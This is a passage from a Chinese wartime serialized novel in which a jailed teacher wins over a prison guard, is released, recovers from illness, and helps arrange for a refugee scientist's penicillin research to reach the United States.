这事过后不到一天,牛二娃就欢喜地来找春妮,说小林今天吩咐他做了不少事,那些同事们也不再像以前那样只要有机会就来整他了。 春妮给牛二娃提的建议很快派上作用,他对这小姑娘自然也更加信服。 其后,春妮又指点牛二娃认准那几个欺负他的华国人同事,单挑他们落单的时候揍他们。牛二娃是种地长大的汉子,不会打架,也有一身蛮力气,跟那些城市里长大的小瘪三可不同,他下起死力气来,比他们狠多了。如此来个一两回,那些人怕了他,看到他就躲着走。 搬掉最大的心病,牛二娃自此神清气爽,整个人从里到外都发生了改变,说话做事自信了不少。 春妮再指点他几个巴结上司的小技巧,终于有一天,牛二娃兴奋地过来跟春妮报喜:“小林楼长把我跟他排到一起,让我明天跟他一起值勤啦。” 这个位置以前是鸡蛋壳的,但自从那天他因为舅公的事得罪小林楼长之后,就此被排挤成了边缘人。 春妮猜测,大概小林楼长怕他报复自己,刻意将他边缘化了。哪怕在众狱友们看来,鸡蛋壳不止并无此意,还为着挽回倭国人的重视而绞尽脑汁呢。 春妮笑着恭喜他一句,牛二娃吃水不忘挖井人:“顾小姐,要不是有你指点我,我不会有今天。我明天买些好吃的,咱们庆祝庆祝。” 春妮脸上的笑容敛下:“还是不用了吧。” 牛二娃以为她客气,想着劝她两句,便听这和气漂亮的小女孩神色暗淡:“今天吴阿爷的病又重了一些,二娃哥要是有钱,给他买些软烂好消化的食物,他怕是没几天了……我就不用了。” 牛二娃也没那么开心了:“吴阿爷也要到这一天了吗?……怎么这几天牢里死了这么多人?” “冬天来了,这里没吃没穿的,还又冷,怎么熬得下去?”春妮问他:“这几天牢里又死了多少人?” “没数,昨天光我当班的时候,就抬出去五六个。” 春妮惊得咂舌:“这么多!那你们这几天不是忙坏了?” 尽管倭国人不在乎华国人命,但人死之后,尸体是需要处置的。一天五六具尸体,对这个设施简陋,人员紧张的不专业监狱而言,专门抽出人手处理,也是不小的麻烦。 “是啊,小林楼长昨天排值晚班,因为找不到多的人手,还发了老大的脾气。”牛二娃对春妮已经有了无话不谈的架式。 “死这么多人,还不是因为条件太差,生病的人多?你看我们的垫褥都是沤烂的,人天天睡在这上面,怎么可能不得病?”春妮摆出很有经验的样子,笃定道:“要是让情况恶劣下去,说不定还会得瘟疫?” “瘟疫……你是说疫病,这不能吧?”牛二娃小时候,家乡是闹过疫的,他可太明白瘟疫的可怕了。 “这有什么不能的?”春妮趁机科普:“瘟疫的来源之一,就是不洁的用水和不洁的生活环境。你想想,咱们监狱才有多少人,每天就死这么多人,正不正常?” “咱们监狱两百多个犯人,一天死五六个……天老爷,你不说我还想不起来咧,咱老家那年遭疫,也没死这么多人咧!”牛二娃一下蹦起来:“不行,我得跟小林楼长说道说道。” “回来!”春妮急忙叫住他:“你打算跟小林楼长怎么说?” 要真让他这么危言耸听地到倭国人面前恐吓一通,为了掐灭源头,说不定他们会干出什么丧心病狂的事! 何况牛二娃是被她拿话套住了,每天抬出去的五六具尸体中,有多少是真正死于疾病,而不是伤势过重恶化的问题? “我——”牛二娃急得说不出话,还是求救地看向春妮。 春妮让他坐回来,道:“没凭没据的,小林楼长怎么信你?要不,你说动小林楼长帮狱友们请个大夫来检查——” “监狱不会拨钱的。” 春妮也没指望这些汉奸倭国人会干一点人性化的事,她的目的不在于此。 她道:“那我们就想办法先把狱房里的垫褥换了。” “那能换啥?我听着怎么比请大夫还贵?” “最起码不能再用 这些沤烂的稻草,哪怕是换些干净的新稻草,也比这些鬼东西强。”春妮直白地嫌弃。 牛二娃琢磨半晌,干稻草随便什么地方都有。大不了每天运尸回来之前,开车到郊区铲两车,都很方便,做到这一点的确不为难。 他跟春妮商量了一下实施的细节,有些忐忑地准备离开:“要是楼长不答应,你可别……”他望着瘦得越发显得眼睛大的小姑娘,改口道:“大不了,我从家里给你抱一床我的褥子来。” “不行的,褥子不好夹带。二娃哥,我不能让你为难,”春妮表现得十分通情达理:“要是行不通,我不怪你的。咳咳咳。” 听见她的咳嗽,牛二娃愧疚地脱口而出:“你别这么说,我一定得把这事给你办成了。要是办不成,我也没脸来见你了。” 春妮拳头抵着嘴唇,咳得惊天动地:“二……娃哥,千万别……咳咳咳咳——” 她话都没说完,牛二娃已经离开了。 第二天下午,每个监室都领到了一扎厚实干燥的新稻草。 牛二娃这天晚上来跟春妮说悄悄话时,腰杆都挺得比平时更直:“顾小姐,今天晚上,你们能睡个好觉了吧?” 春妮笑意盈盈,自己谢过他不算,还拉着监狱里其他人都一一来跟他道谢。看着这些比自己叔伯年纪还大的犯人们在他面前弯腰感激,牛二娃心里像充足了气一样,飘飘然,熏熏然。 在他短短的一生中,头一次知道了什么是尊重,什么是信赖。 这种感觉,牛二娃说不出来。他只觉得,很不赖! 支走犯人们之后,春妮跟牛二娃单独说话。 “二娃哥,你放心。稻草的事我让他们都闭紧了嘴,不叫他们到外边乱说。” “啊?”牛二娃想说,他还没受用够众人崇敬的目光呢,怎么能…… 但接下来,春妮的一席话像冷水一般浇下来。 “二娃哥,我们毕竟都是犯人,要是让狱长他们知道你跟我们关系好,万一怀疑你有二心,这不是给你添麻烦吗?” 牛二娃想说自己不怕,可是,想到每月的饷钱,房子的租金,水费,电费,煤费…… 他重重地点了下头,蔫巴下来:“还是顾小姐你想得周全。” “咱们都这么熟了,你还叫我小姐干什么?二娃哥,你要是不嫌弃,不如叫我一声妹子吧。” “这……”牛二娃顿时喜上眉梢:“顾……妹子,你肯认我当哥?” “这有什么肯不肯的。二娃哥你是个厚道人,我认你当哥,不亏。” 牛二娃闻言,嘴巴都咧到了后脑勺,被夸得只知道“嘿嘿嘿”傻笑,笑过之后,抹了抹眼睛:“还是算了吧。哥干的事摆不上台面,你认了我,我怕给你抹黑。” 春妮没答话,牛二娃原还存着雀跃的心沉下来:也是,他都干了这种事,怎么能奢望还有人肯真跟他来往?妹子一时心热,这不冷静下来,就后悔了? 算了,还是不叫她难做……牛二娃蹒跚着,准备离开。 “二娃哥,你没想过识字?” 牛二娃猛地转头过来。 春妮认真道: “我知道二娃哥不想干这活,只是找不到别的好活干。我教你认字吧,识了字,就是往后不干狱警,也好找个别的工作对不?” “识字?我能识字?你要教我识字?”牛二娃不敢相信,连问了几次。 问得春妮都恼了:“你不信我能教你?” 牛二娃忙道:“不……不是,我大字不识一个,嫌弃谁都嫌弃不到你,你可是老师啊。就是觉得这事太好,好过头了,我——”他刷刷甩了自己两个耳光,彻底清醒了:“妹子,那咱什么时候开始?” “什么时候开始都行。”春妮笑着道:“看你什么时候方便。要是二娃哥觉得一个人打眼,也可以多叫几个要好的朋友,咱们找个方便的时间,也可以一起学习。” 第182章 182 开讲 自从春妮的学习班开讲后, 小小的牢房里有了干稻草,有了便盆,有了几块碎砖头垒成的炕。还有了几张纸, 以及砖头垒成的小书桌, 甚至一个破瓶子里,还插着一束干掉的蒿草。蒿草干了之后仍然有淡淡的香味,正好可以熏一熏牢房经年不去的恶臭。 蒿草里原本还夹着两朵白白粉粉的野花,那是牛二娃在野地里挖蒿草时夹在草堆里带进来的。现在这两朵野花被春妮用干净的木板压制成干花,点缀在蒿草中间,是这间牢房中唯一的亮色。 她很喜欢夏风萍的一句话:“再狼狈,也不能失去欣赏鲜花的能力。” 这些变化并非朝夕而成, 前前后后用了狱友和牛二娃及其几个同事小半个月的时间。新添置的东西,都是他们抽空从外面带来的。 尽管牢里的大老爷们儿在春妮摆花放朵时没少叽叽歪歪, 说娘里娘气的,但花瓶摆在那之后,第二天,里面多了一只草编蚱蜢, 后来又多了几枝香茅,也不知他们都是在哪, 问谁搜罗来的。 每天下午四点多左右,牛二娃会带着他新结的两个朋友来找春妮识字。这个时候,除了不方便挪动的吴阿爷, 就连陈疯子都会围过来,听牢房里唯一的老师讲课。 那次春妮阻止陈疯子被带走之后, 时间已经过去了小半个月。这期间陈疯子试着恢复了一些清醒,发现那些倭国人似乎暂时对他失去了兴趣,每天“清醒”的时间会不定时更长一点。 到后来, 他已经可以帮助春妮在教学时稍微做一点补充工作。然后,在某一天的上午,他毫无预兆地被扔出了监狱。 后来,常文远来看望春妮时告诉她,陈疯子本人正在审查当中。 按照目前的进度来看,小组覆灭的事应该跟他无关。相反,他因为被川上抓进监狱勒索,很有可能反而逃过了一劫。 但是,陈疯子被查出了别的问题:他买的金鸡纳霜并没有上报到组织,也就是说,他昧下了这笔药,将卖药获利占为了己有,他买药做生意的钱全都是组织上给他的经费! 因为两人会面的地点特殊,常文远并没有说太多。他跟春妮这次交代的这样详细,也是因为“金鸡纳霜”这件事是从她这里得知的,想再次从她口中确定,到底有没有向陈疯子泄露她的身份。 得到否定的回答之后,常文远语重心长地道:“干我们这一行的,在黑夜里独行,没有人领路,没有人监督。不止要小心外部的敌人,自己内心的敌人也要时刻警惕,记得时刻自省。不然,像陈疯子那样,躲开大船,在小河沟里翻了船,岂不是冤枉?” 这一点,春妮对自己还是自信的。她自己并不缺钱,对物质也没有太高的追求,不会像陈疯子那样,因为一点小利就迷失自我。 常文远大约看出她的心思,强调道:“我指的不只是金钱问题,任何时候,守住本心是最艰难的。” 在这期间,山本又来了几次。但他似乎很忙,每次来,在这里停留不久,又离开了。 春妮觉得,她被关到现在,可能山本本人都已经对她失去了兴趣,只是咽不下那口气,才拖着不放。 但从那些倭国人的态度来看,她离开监狱的事应该不会有变故了。 常文远也告诉她:“你安心再等一段时间,不出意料,本月之内你就可以被放出去了。” 春妮想问他原因,他丢下一句“你出去之后就知道了”,随后转身离开。 春妮没等到出去之后,她就知道了原因。 在几天之后的《申报》头条上登载了一条新闻,大意为倭国人已经找到白云铠同党,与匪部展开激烈战斗,将匪部尽数格毙当场云云。 春妮满头雾水,她直觉报纸上所言的“匪部”应该不是她想的那些人。他们应该在事发之后一周内就被转到了内陆,投入到了抗倭的新战场。 报纸上所登载的真实情况如何,看来只有等出去之后,她详细询问常文远了。 至于春妮为什么在监狱里也能掌握到第一手消息,自然是因为,她组办这个小小学习班时候,吸取了学校早期的办学经验,让他们拿手头上现有的报纸,每天读报认字两不误。 《申报》是海城发行量最大,影响范围最广的报刊,自从创办人被刺杀死亡之后,就一步步落到了倭国人手中。到现在租界被倭国人全面占领,《申报》自然也无法幸免,早就成为了侵略者手里的一杆文化武器。 这所监狱里能订阅《申报》,自然也不出奇。出奇的,是犯人们手中也能拿到《申报》并阅读。 这里面当然有些故事,不是那样一帆风顺。 毛二娃这些日子给犯人换褥子,采蒿草,不仅不再任人欺负,还巴结到了小林楼长,自然早就让人看不顺眼。有人就悄悄告到了川上狱长那,说他跟犯人成天嘀嘀咕咕的,说不定在搞串联,琢磨越狱。 川上狱长在一次下午领着人突袭了牢房,并重点搜查了春妮所在的牢房。 他们自然一无所获。 而这个时候,毛二娃几个朋友趁机哭诉,说自己不过是想跟着狱里的老师学几句倭国话,免得下次太君们有什么吩咐,自己听不懂。 川上狱长又问了他换褥子换蒿草干什么,他按照春妮教的,说了防疫病驱毒的说法,没想到川上听了之后,查问这几天毛二娃负责的牢房犯人死亡率,听到比其他房间降下至少一半,竟大为赞赏,认为他说得有道理,还让其他人都跟着毛二娃学。 原来,进了冬天之后,川上一直为监狱居高不下的死亡率烦心。 就算华国人在他们眼里不是人,可是,人死了要处置,还要找新人填补空缺。华国人又不是地上的沙子,随便抓一把,就能填补空洞,能不死人不给他添麻烦,肯定是最好了。 能够不费一钞一钱减少死亡率,这样的好事肯定要大加鼓励啊! 于是,没多久,毛二娃竟升了一级,成为了他们这个楼的副楼长。 在毛二娃升任副楼长的那天,春妮的牢房里,又一次迎来了一名犯人的离开。 “刘昌盛,走了。” 刘昌盛费力地从干草垛子里抬起头,半个月前,他生了一场重病。要不是有狱友们的帮衬,加上他自己命大,说不定就熬不过来了。 不过,这一场大病生下来,也让他一个身长八尺,重达一百五六十斤的北方汉子瘦得脱了相,到现在走路还打飘。 他熟练地挤出笑容:“管教,你看我这身子骨,哪熬得住呢?要不我再住两天?” “嘿嘿,你小子有意思。以为监狱是你家?还躺着不想起来了。美得你,我问你,走不走?” “这……这——”刘昌盛撑了两下没撑起来,反而把自己弄得气喘吁吁。 管教登时竖起眉毛,抽出警棍:“我说你小子是不是想耍赖?告诉你,这招在我这没用,你趁早点乖乖给老子爬起来,否则——” “管教别急,您别急,刘大叔这不就来了吗?刘大叔你别急,我扶你。” 狱警看牢房里向他赔笑的女孩子,哼了一声,没再说话。 这个小姑娘是他们监狱里最有名的犯人,不止因为她在这待了一个多月,不止完好无损,连块油皮都没破,还因为上次他的几个同事好不容易将人骗出来,准备开开荤,结果不知被小姑娘怎么整治了一下,几人出来之后,竟对在房里的事讳莫如深,自此之后,连小姑娘所在的楼层都不敢踏足。 更奇的是,她明明将狱警整治的厉害,却一直好端端待在监舍里,并没有受到后续的惩罚。 小人物自有小人物的保命之道,此刻,狱警看这小姑娘扶着病人,虽说两人起床慢了点,说的话多了点,但对她这样的人……能不得罪人自然还是不得罪人的好。 狱警甚至还往后退了一步,留给他们说话的时间。他知道,这间牢房犯人们的感情不错,经常在一起搞个学习小组什么的,要是他们知道…… 狱警敲了敲栏杆:“好了没有?” “好了好了。”春妮跟刘昌盛交换了个眼色,后者将腰间的利刃又藏紧了一些。 这半个月来,大部分将要被转运走的犯人们几乎都收到过春妮临行前的馈赠。 给刘昌盛的是一柄小刀,给其他人的,有药粉,有石灰,有吃的喝的……几乎都是通过旁人转手送出去的。 春妮也不知道能帮到多少,但这些流民们,并不是都愿意闭眼等死,对这样的人,她不吝于送他们一些机会。 这一个月跟倭国人近距离接触,春妮才知道,他们各部门其实独立得厉害 。监狱犯人出了问题,只要出了监狱,就是别人的责任了。 既然如此,她为此冒点风险,完全值得。 当然,她这么做,也是因为—— “顾春妮,你的案子结了,你可以出狱了。” 春妮站起来,望着窗外的阳光,伸手虚虚一握:终于可以出狱了! “妹子……”牛二娃站在监房外,冲她憨厚一笑:“快出来啊。” 第183章 183 平安 沐浴进阳光的那一刻, 春妮有些眩晕,扶住了旁边的墙。 即使没有用刑,这一个月的牢, 也不是人坐的。吃馊的喝烂的就不说了, 光是男女同住,牢房里老鼠蟑螂遍地爬,连个便盆都没有的环境,也足以把一个正常的小姑娘逼疯。 即使是春妮,也不能完全云淡风轻地说,这段经历对她毫无影响,她完全没有放在心上。 “妹子, ”牛二娃伸出手,似乎想来扶她, 却又缩回去,只是站在门边,冲她讪讪地笑。 春妮伸出手:“二娃哥,来扶我一把啊。” 牛二娃一怔, 随即笑得呲出一口白牙:“哎哎,看你这瘦的, 出去了可得好好补补,骨头都硌手了。” 他托着春妮的手臂,小心翼翼地将她扶到监狱大门口。 方校长拉着夏生, 已经提前等在那里。乍眼看过去,他的头发在阳光下泛着银光。 “怎么就瘦成这样了?”方校长擦了擦眼睛, 提起袍子,赶紧跑过来跟夏生两个一左一右扶住了春妮。 见春妮视线长久地停在他发顶上,黑色的发丝中掺着缕缕白发, 故作轻松地笑了笑:“怎么?校长这新发色染得不错吧?” “对不住,又让您操心了。”春妮凝视着他的面颊。才三十多岁,不到四十的男人,现在活似个年过半百的老头子,比她这个坐了一个月牢的小姑娘看上去还憔悴。 “你看看你,这是什么表情?真以为我这样是给你操心操的?你个不大点小姑娘,别把什么事都往自己身上揽好不好?你不在,学校里的事全压在我和林老师他们头上,校长这是忙的累的,别瞎想。愣在这干什么?你师母在家给你准备了一桌子的菜,说要给你洗晦气,好好吃一顿。咱们赶紧回去吧。” 春妮揉了揉夏生的脑袋,后者抱住她的手臂,依恋地蹭了蹭,没说话。当初那个敏感胆小的小男孩已经长成了一个沉默寡言的少年。 她转头冲牛二娃笑道:“二娃哥知道我在哪,你到时候去学校,直接报我名字,别的什么都别管,让他们安排你入校就行了。” 牛二娃顿时笑开了花:“哎哎,那妹子我明天下了班就去找你啊。” 春妮点点头,示意他留步,不用再送。 方校长掺着春妮,直到走出街口,在街上等黄包车的时候,才开口问她:“顾老师,你怎么让一个伪军去我们学校读书?” 春妮将牛二娃在狱中做的事讲了一两件给他,方校长方露出一点笑意:“倒是个可造之材,从这点来看,让他到我们学校就读也不怕带坏了风气。” 方校长是传统的儒学门生,奉行有教无类。要是搁在其他学校,未必肯招收牛二娃这样的学生,以免玷污了校风。但在校长看来,能够在污浊的环境中保持自己,没有同流合污,这是很多人不具有的品质,他并不觉得接受一名这样的学生会令学校蒙羞。 学校的生源现在有两种,一种是附近人家学龄中的孩子,再有一种就是像牛二娃这样有了工作,有了年纪,又想更进一步深造的社会青年。对于后者,学校相当注重对他们品行的考量。 接下来,春妮又问了这段时间夏生的功课和在干的事,师生几个谈谈说说,一个钟头后到了学校。 方校长告诉春妮,他收到她的消息后,这段时间找了不少人想来见她。闹得最厉害的时候,他甚至带着记者来这里堵过川上他们,但对方一直不承认这里是监狱。他又找了符律 师,江致清等名流,企图联合他们,向倭方施压,结果江先生这一个月不知去了哪,连万管家方校长他也没见过两次。 而符律师,因为他的名声,倭国人倒是愿意给一点面子,但也仅限于答应符律师,让他们捎点东西进监狱给春妮。 他正在想其他办法的时候,忽然今天有人打了电话,让他来接春妮回家。 电话那边,对方并没有告知他自己的身份。等到他半信半疑地站在监狱外面,说出自己的需求时,那个之前驱赶了他很多次的保安竟对他点了点头,告诉他可以在这里等。 方校长喋喋不休:“也不知道是谁,没有个正式的文书,也不来派个人上门通知一声,就这么随随便便一通电话。害得我怕受骗,什么都没准备,就这么空着手来了。早知道我该租辆车,再带些衣服来给你,这么两件衣服这么冷的天喝着风坐这么半天的黄包车,该冻坏了吧。” 方校长一紧张就喜欢多说话,春妮怎么会不明白?笑呵呵地听他絮叨一路,终于赶到了学校。 就像她未曾离开那样,初冬的校园是安静中带着点欢闹的。她不在的这一个月里,操场搭了两个篮球架,学生们在球架下你争我夺,发出阵阵响亮的喝采。 他们都换上了红白相间的运动装,那是教育经费充裕之后,校长为全校学生免费提供的校服,夏冬各一套。冬天的这一套,别看外面是粗呢面料,但里面衬着驼绒。哪怕是一整个冬天只有这一套衣服穿,也不用怕学生们会被冻死。 很多家境普通的学生,都不一定有这样一套用料扎实的衣服穿。 在下黄包车的时候,夏生已经先一步跑回了姐弟俩的家去烧热水——尽管对于监狱生活聊得不多,但姐姐的憔悴和消瘦他看在眼里,怎么会不心疼? 有贴心的弟弟准备,春妮刚进入家门,就得以泡到舒服的热水澡,将自己从上到下好好地清洗一遍。 穿衣服之前,春妮对着镜子好好看了看,比起一个月前,镜子里的少女像失去了水分的苹果,虽仍然有美丽的颜色,但已经变干了。她往下看去,肋条骨从上到下,像搓衣板一样均匀地排布在身体上。 唉,几年里养的肉全在这一个月中瘦了回去。 “夏生,我听说你姐姐回来了?她在哪?”院子外面,夏风萍在跟夏生说话。 在车上时,夏生跟她说过,因为朱先生没回来,夏风萍一直住在他们家。 春妮急忙穿好衣服开了门:“这会儿不上课吗?你怎么回来了?” 夏风萍“唉呀”一声:“你好好坐着,怎么瘦成这样了?他们没折磨你吧?你有没有受伤?” “没有,我好着哪,你别动。” 她不放心地翻开春妮的衣服看,见除了瘦了点,没有遭其他的罪,才长长出了口气:“没受伤就好,老是听说倭国人没人性,折磨犯人,我一天一天地做噩梦,就没睡一个整觉。这下我可放心了。” 春妮笑道:“也是你们在外面活动得好,知道都盯着这个案子,倭国人不敢对我太过分。” 夏风萍不了解情况,连忙道:“都是校长在负责跑关系。他怕我们跟着牵扯进来,没敢让我们插手。”说着,她压低了声音:“你真没事了?” 春妮摇了摇头:“我这也糊涂着呢,没敢在那边问。还跟校长商量,看什么时候他去打听打听,看是烧对了哪路神仙的香。” 常文远回海城活动的事是机密,春妮必须为他在里面的作用遮掩。 “这样啊……”夏风萍话音里说不出的失望:“我还当你没事了,琢磨让我们家辉快点回来呢。” “朱先生还在那边躲着?”听见夏生说,夏风萍还在他们家住着,春妮就有了猜测。 “嗯。他们报社主编都打好几个电话来问了,家辉要是再不回来,恐怕报社的工作要丢了,别人空不了这么久的时间等他。” “这样的话,还是稳妥一点好。”虽然,春妮觉得朱先生应该不会有什么问题,但夏风萍谨慎一点不会有大错。 闺蜜两个说了会儿话,方校长家的小儿子来叫他们吃饭,两个人一同赶去了方校长的家。 校长正在摆放碗筷,桌子上已经上了些菜,却都是些马齿苋,干豆角,腌咸菜之类的小菜,唯二的荤腥是一牒干炸小鱼,还有一牒卤猪头肉。饭也是黍米等杂粮混起来的杂粮饭。 校长摆完一圈回头,看见春妮盯着饭桌发呆,以为她嫌饭菜简单,解释道:“现在我们去买菜都有定额,尤其是肉,油和米,都被管制起来了,不许咱们多买。今天知道你要回来,你们师母老早就去排队买米,也没买着。要不这样,明天你再——” 学校用米走的是商团的渠道,校长不肯带头占学校的便宜,他们一大家子的粮食,每天全靠天不亮去米店排队买来的那点在硬顶。 “不用了,”春妮接过火箸,往旁边炉眼里捅了捅:“校长家米不够吃,跟我说一声,我们家米有多的。” 校长摆手:“留着你们自己吃吧,这日子,还不知道熬到什么时候是个头呢。我听说,商团也要解散了,万一有这一天,咱们学校的粮食还不知道着落在哪呢。” 这时,方师母端着锅子进来了:“今天是好日子,你说什么丧气话。小夏,快搭我一把手。” 说话间,校长家的几个孩子都回来,吵吵闹闹坐满了桌子。 校长拍了拍桌子,众人安静下来,他举杯站起来:“先喝了这一杯吧,庆祝顾老师平安归来。也希望咱们能平平顺顺地,过好今后的每一天。” 第184章 184 奇迹 平安, 是这个年代每个人最奢侈又最平凡的愿望。 疾病,饥饿,战乱, 以及无时不刻存在的倭国人恐怖统治, 说不定什么时候就会打破这个寻常又卑微的愿望。 从校长家回去的当天晚上,春妮就病了。 这么些年来,除了五岁以前,因为胎里没养好,春妮频繁病过很多次之外,她几乎没再病过。 尤其到海城这几年来,任何时候, 无论遇到什么事,这个小小的姑娘一直坚持站在潮头为众人领航。渐渐地, 大家有了种错觉,好像只要有方校长在,有顾老师在,学校就一定会平安度过每一次的劫难。 这一次生病, 春妮把大家都吓到了。 当天晚上睡觉之前,她只是轻微地有些发热, 便谁也没说,给自己吃了一点退热的药。到了深夜,人说起胡话的时候, 跟她睡在一床的夏风萍才发现了不对,急忙来摇她, 却是怎么也叫不醒,这下知道坏了菜。 夜里一两点,正是宵禁最严的时候。 春妮由李铁柱背着坐上自行车, 另两个学生托在她身后,夏风萍带着衣裳被子骑另一辆车,几人顶着寒风蹬了半个钟头的车,到中英友好医院看急诊。 这一点,春妮半点不知。在牢里住过一回,她到底是亏了身子。 她一梦醒来,只看见夏生坐在她床边,扎着脑袋在写作业。跟她四目一对,连姐姐入狱出狱都没改颜色的小少年竟然嘴巴一撇,“哇”地大哭出声:“姐姐,你可算醒了,吓死我了。” 春妮目光落到床边的日历本上,才知道时间过去了两天。她竟昏昏醒醒地,发了两天 多的烧。 即使这会儿,她身上酸酸软软的,仍是有些低热。 此时她再细问起究竟,才知道她这一病,把人折腾得有多惨。 前天晚上,背她入院之后,李铁柱几个被医生告知,退烧药安乃近已经被倭国人列入管制药品,取用要到医院后勤批条子。偏那天晚上医院安排的倭国医官不见人影,最后是夏风萍找院方要来两瓶高浓度酒精,反复给她擦腋下,颈脖,手臂等大血管所在处物理降温,又让夏生盯着给她敷冷毛巾,折腾了一个晚上。 第二天上午九点钟,消失了一个晚上的倭国人醉熏熏地姗姗来迟。原来他趁着晚上没什么人,窝到仓库里偷偷喝起了酒! “大夫说,要不是萍姐处置得及时,说不定姐姐都要烧聋了。”夏生抱着春妮哭过一场,这会儿倒是恢复了些理智,有点害羞了。 春妮也不问那倭国人的下场,现在病房里没什么人,她柔声劝了夏生几句,倒是他自己忍不住了:“那个倭国人可气人了,呜哩哇啦的说话我们也听不懂,急诊的刘大夫说他两句,他被说急了,竟要来打人。要不是铁柱哥刚好在旁边顶回去,只怕又是一场官司。” 倭国人好不容易控制租界,自然要在要紧处安插上自己人,这都是可以料到的。 春妮听了,并不动气,只当是自己住进医院来看场戏本子已经翻开的戏。 然而,在医院里住了几天,这出戏非但没有落幕的迹象,反倒越演越烈。 倭国人不止在医院里增加了后勤这一个岗位,但凡药房,检验……除了一线医护,几乎都被安插上了自己人。但是这个年代的西医医院都是全英文或法文工作环境,这些倭国人水准不够,闹出好多指东拿西,指南说北的笑话出来。 弄得经他们手的东西,医院还得再分拨人手出来重新验看一遍,才敢交到病人手上。 更过分的,这些倭国人大概知道自己得了尚方宝剑,工作日复一日怠慢不说,竟是光明正大偷卖起了医院的东西。偏偏他们把持的位置很要紧,经常出现要拿东西找不到人,或是库房里新进的药第二天就不见这种事。 这么闹下去,实在不是个养病的环境,春妮正琢磨干脆打晚今天的针,退了病房,好搬回去养病,看见格林先生走过来,便跟他打了一声招呼:“格林先生。” 格林先生的眉毛有些像八字眉,走得近了,春妮看见他两边眉毛结在一起,便问了一句:“格林先生是有什么心事不成?” 她原以为格林先生的烦恼无非跟其他人一样,对这些不守规矩乱来的倭国人烦不胜烦,孰知,他叹了一口气,道:“是霍利的青霉素实验,好不容易取得了突破性进展,提纯到一个单位的钠元素含量到0.6ug,却不能再继续下去了。” 春妮不懂他说的术语,跟着遗憾道:“哦,那可真是太可惜了。又是那些倭国人捣得鬼吧?” 格林先生无奈地耸耸肩:“科学的最大敌人果然是无知。我跟那个倭国人说,这是很严肃的科学实验,可他为了多一个地方摆放他那愚蠢的植物,非要让我中止实验给他腾地方。霍利坚持了这么长时间的实验,在实验过程中融入了这么多的奇思妙想,早就远远超过最初的实验提纯结果,就要毁在一个蠢货的突发奇想上了。” 格林先生原本是很有休养的绅士,现在对着春妮这个小姑娘突然发出这样的牢骚,可见他是有多生气,这件事对他的打击有多大。 不过,春妮从中敏感地捕捉到另一层信息:“您说霍利的实验已经超越了最先开始的实验成果?” “是,不过那是几十年前的结果,至于现在的实验数据应该还在保密当中。我并没有在前沿医学杂志上——” “等等等等,”春妮举起手:“格林先生,你们在实验的过程中,有没有把样本和实验论文给其他相关工作的科研人员比对过?” 问出这句话,春妮并没有指望获得积极的回答,毕竟格林先生一家人当时是以难民身份抵达的海城,而这四年多来,海城与外界的联系越发艰难。这一点,学校的几位坚持往外寄论文的老师和夏风萍都再清楚不过了。 格林先生果然摇头,悲观地说道:“现在全世界都是德国人的天下,我能寄到哪去呢?何况,只是一个小男孩的简单实验,不会有人重视的。” 春妮只要一想到他们正在做的,是青霉素提纯实验,就完全淡定不下来。 问世十几年来,青霉素提纯实验一直在进行中,却迟迟未曾进入到工厂生产环境进入实用阶段。而今大战正酣,全世界每时每刻都有因战争,因伤口感染而死的人。青霉素早一天问世,就能少死很多人。 她努力开发格林先生的思维:“不过是欧洲大陆陷落,美国呢?美国总没问题吧?” “可我在美国没有认识的人。何况美国对倭国宣战之后,两国几乎断航,我也不知道怎么寄到美国去。”格林先生显然也考虑过这个问题。 格林先生的这些问题,在春妮眼里就不是个事,现在最要紧的,是青霉素! 她立刻道:“要是您信任我的话,这件事交给我来办。我帮你打听打听,看谁有没有办法。” 夏风萍等几个学校老师,这不是现成的美国门路吗? 她往外走了几步,见格林先生愣愣看着她,不觉催促了一句:“愣着干什么?您也行动起来啊。” 格林先生愣愣的,“哦”了一声:“我先去多保存几份样本下来。” 两人都没有考虑华国,因为现在的华国,连像样的医学实验室都没有一个。 对美国人,他心里其实也没有抱太大的希望。 倭国人攻破租界之后,对于租界昔日的主人,他们仍然愿意给一点表面的体面。可是像他们这些失去了祖国的犹太人和白俄人,倭国人对他们,并不比华国人好。 甚至因为人少,这两族人反而更容易受到打压。 几年下来,格林先生意气消磨,已经不指望奇迹的发生。 可奇迹偏偏发生了。 数天后,春妮收到一封来自美国的电报。即使是她这样沉稳的性子,在拿到翻译好的电文之时,也忍不住开心地蹦了起来:“太好了!” 电文纸上寥寥几个字:“很有帮助,盼相关人员速来。” 对方也知道,电报局里被安插上了倭国人的人手,什么关键信息都没有透露,但只这一句话,已经是什么都说了:霍利的青霉素实验成果正是他们需要的,他们迫切需要格林父子的新成果。 春妮拿着电文,出了电报局门口,叫冷风一吹,兴奋的心情稍有冷却,调转脚先去了一个地方。 青霉素的提纯工艺在华国这片土地先有了突破,美国人想一点代价都不付,就轻松把人弄走,做什么梦呢? 半个钟头后,淮扬菜馆 常文远捏着电文,不等春妮把话说完,便明白过来,跟着兴奋起来:“我马上去向上边汇报,这次要是成功,我记你一大功。” 春妮忙道:“别跟美国人客套。格林先生一家人在华国的护卫问题可由我们全程负责,叫他们多带些磺胺,麻醉|药,镇痛剂之类的药来换。” 常文远笑得畅快:“放心吧,这回包管把本捞回来。” 第185章 185 拜托 怎么把格林先生一家人安安全全地送到美国去, 成为了接下来几天中,春妮跟常文远这个团队最主要忙碌的事情。 原本因为港城是华国最大的走私港口,美国人常年在港城外海有商船乃至军舰巡游徘徊, 为着运走从华国走私偷运出来的钨砂等多种矿产, 格林先生一家人从海城上船,行至港城,坐上美国人的军舰直达美国本土便可。 然而倭国人突然对美国不宣而战之后,于同一日迅速占领港城,海城等华国港口要地,将战线延伸至东南亚太平洋一带,为这条原本安全成熟的线路凭空增添了许多变数。 夜露深重。 常文远披着寒气推门而入, 进门先是喜信:“美国那边已经答应我们,会在来接格林先生的军舰上为我们提供相应药品, 并且,并且 ——”他略略抬高了声音,脸上的喜意压也压不住:“等到青霉素研制出来,美国方面会第一时间给我们提供药方和生产设备, 无偿,免费!” “太好了!”屋子里其他人抱在了一起。 他们常年奔波在采购物资的第一线, 没有人比他们更知道,现在一支西药有多贵,有多难得, 尤其是消炎止痛药,最紧俏时, 一条小黄鱼都换不来!而现在,因为共同的敌人倭国,以往那些要用金子和矿产贱卖的资源, 现在以最大力度的优惠向他们敞开了怀抱! 今天晚上,春妮来到这里,便是等待常文远宣布,他们这段时间工作的成果,以及—— 常文远拍了拍手,众人安静下来,听他果然道:“接下来,咱们工作的重点便要放在如何将格林先生一家人安全地送到美国。之前咱们已经对过一次细节,这次,你们还有没有其他疑问?” 